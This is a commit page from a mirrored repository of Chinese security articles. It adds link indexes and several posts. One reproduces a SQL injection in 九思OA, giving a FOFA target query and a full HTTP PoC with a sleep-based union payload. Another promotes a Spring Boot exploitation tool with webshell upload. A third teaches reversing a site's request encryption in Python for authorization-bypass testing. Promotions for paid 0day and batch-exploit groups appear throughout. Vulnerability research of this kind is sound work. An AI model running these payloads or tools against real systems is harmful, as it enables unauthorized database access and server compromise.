mirror of
https://github.com/gelusus/wxvl.git
synced 2026-10-29 03:40:51 +00:00
某通用系统0day审计过程、「漏洞复现」九思OA workflowSync.getUserStatusByRole.dwr SQL注入漏洞、一个半自动化springboot打点工具,内置目前springboot所有漏洞、利用js挖掘漏洞、漏洞预警 | PAN-OS Web管理界面身份认证绕过漏洞、漏洞预警 | 海信智能公交企业管理系统SQL注入漏洞、漏洞预警 | SRM智联云采系统SQL注入漏洞、【0day】电子图书阅读平台downFile存在SQL注入漏洞、
This commit is contained in:
1 parent
c05ce8ef8d
commit
8a8199f2cd
9 files changed
+1150
-11
No files matched your search
@@ -825,5 +825,13 @@
|
||||
"https://mp.weixin.qq.com/s?__biz=Mzg2ODYxMzY3OQ==&mid=2247517444&idx=1&sn=0ee06e80236b7ffc5cd64df21a05d827": "CNVD通用型漏洞挖掘-cnvd证书的刷洞技巧",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzA5MDg1MDUyMA==&mid=2650475531&idx=1&sn=87249b7f85681a8a8861489ecf32eabc": "秦安:刘纪鹏教授披露的这个股市不公平规则,亿万股民需怒吼叫停",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzA5MzU5MzQzMA==&mid=2652112892&idx=2&sn=da534908bbc1b0b00bc9bae0a8fde09f": "AD证书服务漏洞使攻击者能够提权",
|
||||
"https://mp.weixin.qq.com/s?__biz=Mzg3ODE2MjkxMQ==&mid=2247489204&idx=1&sn=8bf569f2824beddb053d74868d67d981": "记一次从0到1的漏洞挖掘过程 发现Accesssecret泄露实现权限接管 越权等漏洞|挖洞技巧"
|
||||
"https://mp.weixin.qq.com/s?__biz=Mzg3ODE2MjkxMQ==&mid=2247489204&idx=1&sn=8bf569f2824beddb053d74868d67d981": "记一次从0到1的漏洞挖掘过程 发现Accesssecret泄露实现权限接管 越权等漏洞|挖洞技巧",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzU5OTMxNjkxMA==&mid=2247488022&idx=1&sn=67aaed483092d9231c0a1c1744d53f6e": "某通用系统0day审计过程",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzkyNDY3MTY3MA==&mid=2247486203&idx=1&sn=bb91174473f1d41934a85073804fec49": "「漏洞复现」九思OA workflowSync.getUserStatusByRole.dwr SQL注入漏洞",
|
||||
"https://mp.weixin.qq.com/s?__biz=Mzk0ODM0NDIxNQ==&mid=2247492888&idx=1&sn=e82e6cc24fad3f50641261e79572cc04": "一个半自动化springboot打点工具,内置目前springboot所有漏洞",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzkwMzMwODg2Mw==&mid=2247509558&idx=1&sn=4ed77b8fbe43290b3fb889465673e9a3": "利用js挖掘漏洞",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzkwMTQ0NDA1NQ==&mid=2247491620&idx=1&sn=bc353ebff4eec5172710bb052bc2c31b": "漏洞预警 | PAN-OS Web管理界面身份认证绕过漏洞",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzkwMTQ0NDA1NQ==&mid=2247491620&idx=2&sn=abf6ad1b88c4d7efe8ee9966fc2568de": "漏洞预警 | 海信智能公交企业管理系统SQL注入漏洞",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzkwMTQ0NDA1NQ==&mid=2247491620&idx=3&sn=7b494bfcaffc088fe6b99d84309de032": "漏洞预警 | SRM智联云采系统SQL注入漏洞",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzU3MjU4MjM3MQ==&mid=2247488700&idx=1&sn=097193ece2c4ee45d744ff19b5883d77": "【0day】电子图书阅读平台downFile存在SQL注入漏洞"
|
||||
}
|
||||
@@ -0,0 +1,132 @@
|
||||
# 「漏洞复现」九思OA workflowSync.getUserStatusByRole.dwr SQL注入漏洞
|
||||
冷漠安全 冷漠安全 2024-12-02 00:03
|
||||
|
||||

|
||||
|
||||
0x01 免责声明
|
||||
|
||||
请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任。工具来自网络,安全性自测,如有侵权请联系删除。本次测试仅供学习使用,如若非法他用,与平台和本文作者无关,需自行负责!!!
|
||||
|
||||
0x02
|
||||
|
||||
**产品介绍**
|
||||
|
||||
北京九思协同办公软件专业版是面向高端集团企业、多元化集团企业、大型企业的协同办公OA管理软件,由协同工作、工作流程、公共信息、知识管理、外部邮件、人事基础信息管理、门户应用和办理中心等模块组成,iThink协同办公集团OA软件专业版为企业解决了办公自动化管理的核心需求,实现企业内部知识、市场、销售、研发、人事、行政等方面的协同管理,通过iThink协同办公集团OA软件信息的高度共享和各种业务的流程化,及灵活高效的管理运营模式,使企业通过协同办公集团OA系统的应用环境迅速提升管理水平和运作效率。
|
||||
|
||||
0x03
|
||||
|
||||
**漏洞威胁**
|
||||
|
||||
北京九思协同办公软件 /jsoa/workflow/dwr/exec/workflowSync.getUserStatusByRole.dwr接口处存在SQL注入漏洞,攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息(例如,管理员后台密码、站点的用户个人信息)之外,甚至在高权限的情况可向服务器中写入木马,进一步获取服务器系统权限。
|
||||
|
||||
0x04
|
||||
|
||||
**漏洞环境**
|
||||
|
||||
FOFA:
|
||||
```
|
||||
app="九思软件-OA"
|
||||
```
|
||||
|
||||

|
||||
|
||||
|
||||
0x05
|
||||
|
||||
**漏洞复现**
|
||||
|
||||
PoC
|
||||
```
|
||||
POST /jsoa/workflow/dwr/exec/workflowSync.getUserStatusByRole.dwr HTTP/1.1
|
||||
Host:
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
|
||||
Accept: */*
|
||||
Accept-Encoding: gzip, deflate
|
||||
Accept-Language: zh-CN,zh;q=0.9
|
||||
Content-Type: application/x-www-form-urlencoded; charset=utf-8
|
||||
Connection: close
|
||||
|
||||
|
||||
callCount=1
|
||||
c0-scriptName=workflowSync
|
||||
c0-methodName=getUserStatusByRole
|
||||
c0-id=1
|
||||
c0-param0=string:1
|
||||
c0-param1=string:1 union select 0,sleep(5)#
|
||||
xml=true
|
||||
```
|
||||
|
||||
延时
|
||||
|
||||

|
||||
|
||||
|
||||
0x06
|
||||
|
||||
**批量脚本验证**
|
||||
|
||||
Nuclei验证脚本已发布
|
||||
知识星球:冷漠安全
|
||||
|
||||

|
||||
|
||||
|
||||
0x07
|
||||
|
||||
**修复建议**
|
||||
|
||||
对用户传入的参数进行限制。
|
||||
|
||||
通过防火墙等安全设备设置访问策略,设置白名单访问。
|
||||
|
||||
如非必要,禁止公网访问该系统。
|
||||
|
||||
0x08
|
||||
|
||||
**加入我们**
|
||||
|
||||
漏洞详情及批量检测POC工具请前往知识星球获取
|
||||
|
||||
知识星球:冷漠安全交个朋友,限时优惠券:加入立减25星球福利:每天更新最新漏洞POC、资料文献、内部工具等
|
||||
|
||||

|
||||
|
||||
|
||||
「星球介绍」:
|
||||
|
||||
本星球不割韭菜,不发烂大街东西。欢迎进来白嫖,不满意三天退款。
|
||||
|
||||
本星球坚持每天分享一些攻防知识,包括攻防技术、网络安全漏洞预警脚本、网络安全渗透测试工具、解决方案、安全运营、安全体系、安全培训和安全标准等文库。
|
||||
|
||||
本星主已加入几十余个付费星球,定期汇聚高质量资料及工具进行星球分享。
|
||||
|
||||
|
||||
「星球服务」:
|
||||
|
||||
|
||||
加入星球,你会获得:
|
||||
|
||||
|
||||
♦ 批量验证漏洞POC脚本
|
||||
|
||||
|
||||
♦ 0day、1day分享
|
||||
|
||||
|
||||
♦ 汇集其它付费星球资源分享
|
||||
|
||||
|
||||
♦ 大量的红蓝对抗实战资源
|
||||
|
||||
|
||||
♦ 优秀的内部红蓝工具及插件
|
||||
|
||||
|
||||
♦ 综合类别优秀Wiki文库及漏洞库
|
||||
|
||||
|
||||
♦ 提问及技术交流
|
||||
|
||||

|
||||
|
||||
|
||||
@@ -0,0 +1,142 @@
|
||||
# 【0day】电子图书阅读平台downFile存在SQL注入漏洞
|
||||
xiachuchunmo 银遁安全团队 2024-12-01 22:00
|
||||
|
||||
**需要EDU SRC邀请码的师傅可以私聊后台,免费赠送EDU SRC邀请码(邀请码管够)**
|
||||
|
||||

|
||||
|
||||
|
||||
**漏洞简介**
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
**电子图书阅读平台****提供了超过千万册图书的在线阅读服务。其界面简洁,搜索功能强大,用户只需输入书名即可快速找到对应的电子书资源,并可选择多种格式进行下载阅读。它支持中文搜索,资源极其丰富,几乎涵盖了所有领域的书籍。用户可以在这里轻松找到并阅读自己需要的电子书。电子图书阅读平台存在SQL注入漏洞.**
|
||||
|
||||

|
||||
|
||||
|
||||
**资产测绘**
|
||||
|
||||
|
||||

|
||||
|
||||
```
|
||||
body="/Index.aspx/SearchBy"
|
||||
```
|
||||
|
||||

|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
**漏洞复现**
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
**注入测试**
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
|
||||
**SQLMap测试**
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||

|
||||
|
||||
**获取当前数据库名测试**
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
|
||||
**Nuclei测试**
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
|
||||
**圈子介绍**
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
高
|
||||
质量漏洞利用工具分享社区,每天至少更新一个0Day/Nday/1day及对应漏洞的批量利用工具,团队内部POC分享,星球不定时更新内外网攻防渗透技巧以及最新学习研究成果等。
|
||||
如果师傅还是新手,内部的交流群有很多行业老师傅可以为你解答学习上的疑惑,内部分享的POC可以助你在Edu和补天等平台获得一定的排名。
|
||||
如果师傅已经
|
||||
是老手了,有一个高质量的LD库也能为你的工作提高极大的效率,实战或者攻防中有需要的Day我们也可以通过自己的途径帮你去寻找。
|
||||
|
||||
**【圈子服务】**
|
||||
|
||||
1,一年至少365+漏洞Poc及对应漏洞批量利用工具
|
||||
|
||||
2,Fofa永久高级会员
|
||||
|
||||
3,24HVV内推途径
|
||||
|
||||
4,Cmd5解密,各种漏洞利用工具及后续更新,渗透工具、文档资源分享
|
||||
|
||||
5,内部漏洞
|
||||
库情报分享
|
||||
(目前已有2000+
|
||||
poc,会定期更新,包括部分未公开0/1day)
|
||||
|
||||
6,加入内部微信群,认识更多的行业朋友(群里有100+C**D通用证书师傅),遇到任何技术问题都可以进行快速提问、讨论交流;
|
||||
|
||||
|
||||
圈子目前价格为**129元**
|
||||
**(交个朋友啦!)**
|
||||
,现在星球有近900+位师傅相信并选择加入我们,人数满1000
|
||||
**涨价至149**,圈子每天都会更新内容。
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
|
||||
**圈子近期更新LD库**
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||

|
||||
|
||||
**每篇文章均有详细且完整的手工WriteUp****(跟其他只有POC,没有验证截图的不一样)**
|
||||
|
||||

|
||||
|
||||
**星球提供免费F**a**
|
||||
**C**D通用证书********一起愉快的刷分**
|
||||
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
|
||||
**免责声明**
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,104 @@
|
||||
# 一个半自动化springboot打点工具,内置目前springboot所有漏洞
|
||||
wh1t3zer 夜组安全 2024-12-02 00:03
|
||||
|
||||
免责声明
|
||||
|
||||
由于传播、利用本公众号夜组安全所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号夜组安全及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
|
||||
**所有工具安全性自测!!!VX:**
|
||||
**baobeiaini_ya**
|
||||
|
||||
朋友们现在只对常读和星标的公众号才展示大图推送,建议大家把
|
||||
**夜组安全**
|
||||
“**设为星标**
|
||||
”,
|
||||
否则可能就看不到了啦!
|
||||
|
||||

|
||||
|
||||
|
||||
**01**
|
||||
|
||||
**工具介绍**
|
||||
|
||||
一个半自动化springboot打点工具,内置目前springboot所有漏洞
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
**02**
|
||||
|
||||
**工具展示**
|
||||
|
||||
### 密码脱敏
|
||||
### 脱敏(1)
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
脱敏(2)
|
||||
|
||||
得到Authorization字段的数据,用base64解码即可,有时间再优化下能直接显示到文本框里
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
脱敏(3)
|
||||
|
||||

|
||||
### Spring Cloud Gateway 交互式命令
|
||||
###
|
||||
|
||||

|
||||
|
||||
痕迹清除
|
||||
|
||||
默认清除poctest、pwnshell和expvul路由,其他路由自行判断
|
||||
|
||||

|
||||
```
|
||||
```
|
||||
### CVE-2021-21234任意文件读取
|
||||
### (仅做poc测试,后续加入输入文件名)
|
||||
|
||||

|
||||
### 一键上马
|
||||
### 密钥默认为hackfunny
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
|
||||
**03**
|
||||
|
||||
**工具下载**
|
||||
|
||||
**点击关注下方名片****进入公众号**
|
||||
|
||||
**回复关键字【241202****】获取**
|
||||
**下载链接**
|
||||
|
||||
|
||||
**04**
|
||||
|
||||
**往期精彩**
|
||||
|
||||
[ 渗透攻防武器库 | 本月最后5个名额 秒了 ](http://mp.weixin.qq.com/s?__biz=Mzk0ODM0NDIxNQ==&mid=2247492884&idx=1&sn=ffa3490e7937fc6e57b0495f2e18bd2c&chksm=c36ba1ecf41c28fa3f8c3dfde27ef5ec6008a0e4fd8de977f62e70cf1234c82ee64948fb919a&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
|
||||
[ 微信小程序辅助渗透-自动化工具更新1.22 ](http://mp.weixin.qq.com/s?__biz=Mzk0ODM0NDIxNQ==&mid=2247492887&idx=1&sn=c0d0a09e74e60395c9a7614a5e256f51&chksm=c36ba1eff41c28f9b330a35e77a3c0fde011de7dce0b2b0bb23d3c9c56f27b174943816bea07&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
|
||||
[ Burpsuite存储桶配置不当漏洞检测插件 ](http://mp.weixin.qq.com/s?__biz=Mzk0ODM0NDIxNQ==&mid=2247492826&idx=1&sn=75938c84eb56cc7f82beb164b02c29fa&chksm=c36ba022f41c293480f928be557e297e3e25f602a364549e5266e67dcc5c16efac410fcabb0c&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||

|
||||
|
||||
+405
@@ -0,0 +1,405 @@
|
||||
# 利用js挖掘漏洞
|
||||
中铁13层打工人 李白你好 2024-12-02 00:02
|
||||
|
||||
**免责声明:**由于传播、利用本公众号李白你好所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号李白你好及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
|
||||
|
||||
|
||||
文章作者:奇安信攻防社区(中铁13层打工人)
|
||||
|
||||
文章来源:https://forum.butian.net/share/3915
|
||||
|
||||
|
||||
**1**►
|
||||
|
||||
**前言**
|
||||
|
||||
|
||||
在漏洞挖掘中
|
||||
,通过对js的挖掘可发现诸多安全问题,此文章主要记录学习如何利用JS测试以及加密参数逆向相关的漏洞挖掘。
|
||||
|
||||
|
||||
**2**►
|
||||
|
||||
**漏洞挖掘**
|
||||
|
||||
|
||||
**一、js中的敏感信息泄露**
|
||||
|
||||
1、默认用户名密码
|
||||
|
||||
2、硬编码密码、其他秘钥泄露
|
||||
## 二、js中的指纹信息
|
||||
|
||||
框架信息、开发商信息、版本信息等
|
||||
## 三、js中的接口泄露
|
||||
|
||||
js中内含大量接口,可通过敏感字匹配爬取接口的方式来集中测试;也可结合目标测试功能点,通过截取父目录后到源码中搜索从而找到隐藏的接口,进而得到前端未显示的业务模块代码。
|
||||
|
||||

|
||||
## 四、js异步加载
|
||||
|
||||
当访问某系统发现有多个功能模块,短时间内无法快速加载各类功能或者有不显示的业务,此时可借助异步加载执行JS文件,从而更快看到页面内容和源码且利于实现代码分割。
|
||||
|
||||
1、什么是异步加载js
|
||||
|
||||
同步加载方法通常使用 <script> 标签直接在 HTML 文档中嵌入或链接外部 JavaScript 文件,这种方式下,浏览器会等待 JavaScript 文件加载并执行完成后,才会继续解析 HTML 文档的其余部分。
|
||||
|
||||
异步加载 JavaScript 可使用 async 或 defer 属性在 <script> 标签中实现。异步加载允许浏览器继续解析 HTML,不必等待 JavaScript 文件的加载和执行。
|
||||
|
||||
2、实战案例
|
||||
|
||||
访问目标系统,发现其主页的登录页面没有注册点且测试过其他的方法发现无法绕过登录。这种情况下考虑从前端源码入手看能否找到其他功能点。开发者模式下利用network工具,可查看相关请求接口引入了哪些js文件,着重关注类型为“XHR”或“Script”的请求,这些中通常包含异步加载的js文件,为了更直观看到完整的解析源码下一步可将当前网站下的JS全部异步加载到首页。
|
||||
|
||||

|
||||
|
||||
异步调试js代码如下:
|
||||
```
|
||||
var arr=[
|
||||
"https://xxx.xxx.com/xxxxxxx/xxxx/0.1.0/js/xxxxxxx.js", //这里引入的是完整的js所在路径
|
||||
"https://xxx.xxx.com/xxxxxxx/xxxx/0.1.0/js/xxxxxxx.js"
|
||||
]
|
||||
|
||||
for(var i=0;i<arr.length;i++){
|
||||
var script = document.createElement('script');
|
||||
script.src = arr[i];
|
||||
document.getElementsByTagName('head')[0].appendChild(script);
|
||||
}
|
||||
```
|
||||
|
||||
在控制台中调试代码,运行后结果如下:
|
||||
|
||||

|
||||
|
||||
运行后可看到完整的js代码,后对代码进行查看发现了一个包含file接口,猜测应为文件相关的接口。
|
||||
|
||||

|
||||
|
||||
跟进源码查看哪里调用了这个接口方法进而构造发包需要的参数。
|
||||
|
||||

|
||||
|
||||
测试发包的返回中包含云服务资源链接:
|
||||
|
||||

|
||||
|
||||
访问返回的链接发现其为存储桶资源信息,至此测试完毕。
|
||||
|
||||

|
||||
## 五、js逆向破解加密
|
||||
|
||||
思路:
|
||||
|
||||
定位漏洞源码所在js--大致浏览代码逻辑--下断点调试或者根据关键字搜索--找到加密算法--将加密算法py脚本化--破解解密--测试漏洞
|
||||
|
||||
案例分析:某网站越权查看信息逆向分析
|
||||
|
||||
1、抓包分析
|
||||
|
||||
测试某系统,访问该系统某功能点查看信息根据抓包情况进行分析,发现传参部分都做了加密操作,同时得到查询接口为/rxxx/xxxxxte,其中nonce 是一个随机字符串,用于防止重放攻击;skey用于加密或身份验证的密钥;sign 是请求的签名。
|
||||
|
||||

|
||||
|
||||
2、逆向分析
|
||||
|
||||
对抓到的数据接口/rxxxx/xxxxxxte进行分析,一般都是先进行一波搜索,看能否定位到加密位置,如果定位不到就在接口调用位置下断点再访问接口进行调试。
|
||||
|
||||

|
||||
|
||||
经过搜索找到其中一个JS中有很多条记录,进入JS中进行整体分析。
|
||||
|
||||

|
||||
|
||||
对该JS进行整体检索时,发现该代码块存在请求体内所有的加密参数
|
||||
|
||||

|
||||
|
||||
即对该部分进行断点分析,发现该请求在此处断掉,且传入的e参数是rsa公钥。
|
||||
|
||||

|
||||
|
||||
因此该部分即为加密请求体中的所有加密代码部分。
|
||||
|
||||
对该部分代码进行代码分析,这段代码即为加密代码块,继续跟进分析其主要原理:
|
||||
|
||||
主要加密代码块getKeyParams 方法:
|
||||
|
||||
该方法生成一个包含加密参数的对象,主要用于构造请求数据。
|
||||
```
|
||||
getKeyParams: function(t, e) {
|
||||
var n = {
|
||||
timestamp: "",
|
||||
nonce: "",
|
||||
skey: "",
|
||||
body: "",
|
||||
sign: "",
|
||||
aesSecretKey: ""
|
||||
};
|
||||
ut = e;
|
||||
n.timestamp = (new Date).getTime();
|
||||
n.nonce = this.getNonce(32);
|
||||
n.skey = this.getAesSecretKey();
|
||||
n.aesSecretKey = rt;
|
||||
n.body = this.encryptByAES(r()(t), rt, "12xxxxxxxxxxxef").encryptContent;
|
||||
var i = this.encryptByMD5(n.timestamp + n.nonce + n.skey + n.body);
|
||||
return n.sign = this.encryptByRSA(i, ut), n;
|
||||
}
|
||||
```
|
||||
|
||||
该函数用于生成时间戳、随机数(nonce)、AES 密钥、加密内容(body)和签名(sign)先初始化一个对象 n,包含 timestamp、nonce、skey、body、sign 和 aesSecretKey,然后获取当前时间戳和nonce,随后生成 AES 密钥并加密输入的数据 ,使用固定的初始化向量(IV)"1xxxxxxxxxxf",然后计算签名,使用 MD5 哈希连接 timestamp、nonce、skey 和 body 的值,最后用 RSA 加密生成签名。
|
||||
|
||||
1、getNonce方法:生成随机字符串nonce(根据主函数来看是nonce长度是32)
|
||||
|
||||
函数通过循环从指定字符集(默认为字母和数字)中随机选择字符,构建最终字符串。
|
||||
```
|
||||
getNonce: function(t, e, n) {
|
||||
var i, a = "";
|
||||
void 0 === t && (t = 10), "string" == typeof e && (n = e), i = e && "number" == typeof e ? Math.round(Math.random() * (e - t)) + t : t, n = n || "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
|
||||
for (var o = 0; o < i; o++) {
|
||||
var l = Math.round(Math.random() * (n.length - 1));
|
||||
a += n.substring(l, l + 1)
|
||||
}
|
||||
return a
|
||||
}
|
||||
```
|
||||
|
||||
2、encryptByMD5方法:对输入的字符串进行MD5加密
|
||||
|
||||
该函数通过 MD5 算法对输入字符串进行MD5加密,并输出大写的哈希值,用于生成唯一标识符。
|
||||
```
|
||||
encryptByMD5: function(t) {
|
||||
return console.log("md5", t), ot.a.MD5(t)
|
||||
.toString()
|
||||
.toUpperCase()
|
||||
}
|
||||
```
|
||||
|
||||
3、encryptFunction 方法:方法用于封装 RSA 加密
|
||||
|
||||
函数使用 RSA 对 ct 进行加密,其中ut 是用于加密的公钥。
|
||||
```
|
||||
encryptFunction: function() {
|
||||
return this.encryptByRSA(ct, ut);
|
||||
}
|
||||
```
|
||||
|
||||
4、getAesSecretKey 方法:该方法生成一个 AES 密钥并加密
|
||||
|
||||
函数生成一个 16 位的随机 AES 密钥,并使用 RSA 对该密钥进行加密。
|
||||
```
|
||||
getAesSecretKey: function() {
|
||||
var t = ut;
|
||||
return rt = this.getNonce(16), console.log("16", rt), ct = this.encryptByRSA(rt, t);
|
||||
}
|
||||
```
|
||||
|
||||
5.encryptByAES 方法:该方法用于 AES 加密
|
||||
|
||||
函数使用 AES 加密输入的内容,密钥为 e,初始化向量(IV)为 n,返回加密后的内容和加密密钥。
|
||||
```
|
||||
encryptByAES: function(t, e, n) {
|
||||
var i = ot.a.enc.Utf8.parse(e),
|
||||
a = ot.a.enc.Utf8.parse(n);
|
||||
return {
|
||||
encryptContent: ot.a.AES.encrypt(t, i, {
|
||||
iv: a,
|
||||
mode: ot.a.mode.CBC,
|
||||
padding: ot.a.pad.Pkcs7
|
||||
}).toString(),
|
||||
encryptSecretKey: e
|
||||
};
|
||||
}
|
||||
```
|
||||
|
||||
至此分析完加密算法,下来使用python将其还原:
|
||||
```
|
||||
import base64
|
||||
import hashlib
|
||||
import random
|
||||
import time
|
||||
from Crypto.Cipher import AES, PKCS1_v1_5
|
||||
from Crypto.PublicKey import RSA
|
||||
from Crypto.Util.Padding import pad, unpad
|
||||
|
||||
rsa_public_key = '''
|
||||
-----BEGIN PUBLIC KEY-----
|
||||
MxxxxxxxxxMBUD
|
||||
-----END PUBLIC KEY-----
|
||||
'''.strip()
|
||||
|
||||
class EncryptHandler:
|
||||
def __init__(self, rsa_public_key):
|
||||
self.aes_key = self.get_nonce(16) # 生成 AES 密钥
|
||||
self.iv = '12xxxxxxxxxef'.encode('utf-8') # 固定的 IV,实际中可根据需求随机化
|
||||
self.rsa_public_key = rsa_public_key
|
||||
|
||||
@staticmethod
|
||||
def get_nonce(length):
|
||||
characters = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"
|
||||
return ''.join(random.choice(characters) for _ in range(length))
|
||||
|
||||
def aes_encrypt(self, data):
|
||||
cipher = AES.new(self.aes_key.encode('utf-8'), AES.MODE_CBC, self.iv)
|
||||
encrypted = cipher.encrypt(pad(data.encode('utf-8'), AES.block_size))
|
||||
return base64.b64encode(encrypted).decode('utf-8')
|
||||
|
||||
def md5_sign(self, data):
|
||||
return hashlib.md5(data.encode('utf-8')).hexdigest().upper()
|
||||
|
||||
def rsa_encrypt(self, data):
|
||||
key = RSA.import_key(self.rsa_public_key)
|
||||
cipher = PKCS1_v1_5.new(key)
|
||||
encrypted_data = cipher.encrypt(data.encode('utf-8'))
|
||||
return base64.b64encode(encrypted_data).decode('utf-8')
|
||||
|
||||
def prepare_request(self, body):
|
||||
timestamp = str(int(time.time() * 1000))
|
||||
nonce = self.get_nonce(32)
|
||||
aes_encrypted_body = self.aes_encrypt(body)
|
||||
skey = self.rsa_encrypt(self.aes_key)
|
||||
sign_str = timestamp + nonce + skey + aes_encrypted_body
|
||||
md5_signature = self.md5_sign(sign_str)
|
||||
rsa_signature = self.rsa_encrypt(md5_signature)
|
||||
request_data = {
|
||||
"timestamp": timestamp,
|
||||
"nonce": nonce,
|
||||
"skey": skey,
|
||||
"body": aes_encrypted_body,
|
||||
"sign": rsa_signature
|
||||
}
|
||||
return request_data
|
||||
|
||||
handler = EncryptHandler(rsa_public_key)
|
||||
|
||||
def main():
|
||||
body = "xxxx" # 需要加密的内容
|
||||
encrypted_request = handler.prepare_request(body)
|
||||
print("Encrypted Request:", encrypted_request)
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
||||
```
|
||||
|
||||
加密算法破解以后下来进行漏洞挖掘测试。
|
||||
|
||||
运行加解密py脚本,通过更改body实现加密:
|
||||
|
||||

|
||||
|
||||
下来就可以直接发包,替换加密参数进行测试了:
|
||||
|
||||

|
||||
## 六、jsrpc:远程调用浏览器方法,免去抠代码补环境
|
||||
```
|
||||
项目地址:https://github.com/jxhczhl/JsRpc
|
||||
```
|
||||
|
||||
|
||||
JSrpc原理:
|
||||
|
||||
JSrpc工作原理就是在浏览器控制台中注入JSRPC环境,通过websocket与本地的服务端连接。在控制台执行新注册的函数(该函数用于加解密),下来只需要通过RPC即可调用控制台中的函数了,通过对调用接口传参进而调用注册函数,就可以实现加密不需要再本地还原。
|
||||
|
||||
1、下载项目后本地运行:
|
||||
|
||||

|
||||
|
||||
2、注入JS,构建通信环境。JS位置:(/resouces/JsEnv_De.js)
|
||||
|
||||
把js中的内容直接复制粘贴进控制台运行。
|
||||
|
||||

|
||||
|
||||
3、连接通信:
|
||||
```
|
||||
// 注入环境后连接通信
|
||||
var demo = new Hlclient("ws://127.0.0.1:12080/ws?group=zzz");
|
||||
// 可选
|
||||
//var demo = new Hlclient("ws://127.0.0.1:12080/ws?group=zzz&clientId=hliang/"+new Date().getTime())
|
||||
```
|
||||
|
||||

|
||||
|
||||
完成后效果图如下:
|
||||
|
||||

|
||||
|
||||
4、调用浏览器ws接口并传入js代码并运行。
|
||||
```
|
||||
import requests
|
||||
|
||||
js_code = """
|
||||
(function(){
|
||||
console.log("test")
|
||||
return "执行成功"
|
||||
})()
|
||||
"""
|
||||
|
||||
url = "http://localhost:12080/execjs"
|
||||
data = {
|
||||
"group": "zzz",
|
||||
"code": js_code
|
||||
}
|
||||
res = requests.post(url, data=data)
|
||||
print(res.text)
|
||||
```
|
||||
|
||||

|
||||
|
||||
已经成功实现了rpc通信和接口调用。
|
||||
|
||||
5、寻找加密函数
|
||||
|
||||
结合上面提到的案例已知加密主函数是getKeyparams,下来需要把加密函数改为全局函数。
|
||||
|
||||

|
||||
|
||||
已知e是rsa公钥,所以传入密钥看下通过自定义的函数传参后的加密结果:
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
至此调用自定义的新函数等于调用加密函数。
|
||||
|
||||
下来需要在控制台根据自定义函数名预先注册js方法,传递函数名调用。控制台输入新注册函数:
|
||||
```
|
||||
// 固定的RSA密钥
|
||||
var rsa = "MIxxxxxxxxDAQAB";
|
||||
|
||||
//注册行为
|
||||
demo.regAction("key", function(resolve, param) {
|
||||
var user = param["param"];
|
||||
var res = getKeyParams(user, rsa); // 使用固定的RSA密钥作为第二个参数调用getKeyParams函数
|
||||
resolve(res);
|
||||
});
|
||||
```
|
||||
|
||||
远程调用地址如下:
|
||||
```
|
||||
http://127.0.0.1:12080/go?group=zzz&action=key¶m=123456(action是你注册的函数方法,param是你要加密的参数)
|
||||
```
|
||||
|
||||
|
||||

|
||||
|
||||
综上,可以实现远程调用加密函数,省去了对原加密函数进行脚本转化的过程,使得测试更加便利。
|
||||
|
||||
**3**►
|
||||
|
||||
**往期精彩**
|
||||
|
||||
[ 一款红队在信息收集时规避IP封禁的傻瓜式一键代理池,通过大量代理节点轮询的代理池工具 ](http://mp.weixin.qq.com/s?__biz=MzkwMzMwODg2Mw==&mid=2247509517&idx=1&sn=7a4576f7df6d620f072c5123107d5a86&chksm=c09ad55df7ed5c4b92e7043aa742051f8d3699ea14ad0d635f315650335e4bb77cbe9b97b38c&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
|
||||
[ 轻量级的无害化钓鱼工具 ](http://mp.weixin.qq.com/s?__biz=MzkwMzMwODg2Mw==&mid=2247509505&idx=1&sn=7d4e075fb2299b9adcd46a6f330ac28c&chksm=c09ad551f7ed5c47066d828ab9fd9a88faedfd23fab977b5be2cf0cb588279f9719fb6b13c12&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
|
||||
